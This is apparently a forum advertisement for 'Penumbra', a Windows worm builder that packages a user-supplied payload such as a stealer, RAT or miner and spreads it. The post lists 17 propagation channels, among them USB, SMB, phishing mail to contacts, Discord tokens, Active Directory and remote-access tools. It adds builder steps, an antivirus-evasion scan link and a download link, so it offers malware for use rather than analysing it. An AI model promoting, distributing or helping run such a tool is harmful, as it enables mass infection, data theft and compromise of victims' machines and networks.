Penumbra - auto-spreading worm for Windows x64
What it does
- You give him your payload - stealer, RAT, botnet, miner, etc and he tries to spread it.
- It spreads automatically over 17 different vectors
The 17 spread channels
[*] USB — spreads via USB sticks (BadUSB + Fallback)
[*] SMB — spreads across the local network / shared folders
[*] Mail — sends phising mails to the victim's contacts (Outlook and Thunderbird only local not the windows store version)
[*] Discord — spreads through Discord (DMs, webhooks, tokens)
[*] Telegram — spreads through Telegram
[*] DMA — hardware-level attack (full memory access)
[*] Rogue LAN — takes over the network itself (router/DNS level)
[*] Bluetooth/NFC — spreads in close range
[*] Cloud Sync — spreads through sync folders (OneDrive, Dropbox, ...)
[*] NAS/Web — spreads through NAS and web servers
[*] IoT/UPnP — spreads through smart devices on the network
[*] Game Clients — spreads through Steam / Epic / GOG
[*] Remote Tools — spreads through TeamViewer / AnyDesk / Parsec
[*] VMs — spreads into virtual machines
[*] Printer — spreads via the print spooler
[*] Enterprise AD — spreads through Active Directory / domains
[*] Quick — instant channels: clipboard, browser, QR code
Green = Works
Yellow = Buggy
Red = not quite finished yet
Scan
https://antiscan.me/scans/c25a1b1b-8dae-...0162f33640
How to use it
1. Open the Builder (GUI)
2. Pick your payload any normal Windows program (EXE)
3. Pick which vectors should be active
5. Press Build → you get your worm.exe
What to know
- One payload per worm.exe no multiple programs inside
- Alpha Version No UAC bypass, not runtime FUD, but can be crypted
DL:
https://anonfilesnew.com/s/MulZvmJDlFI
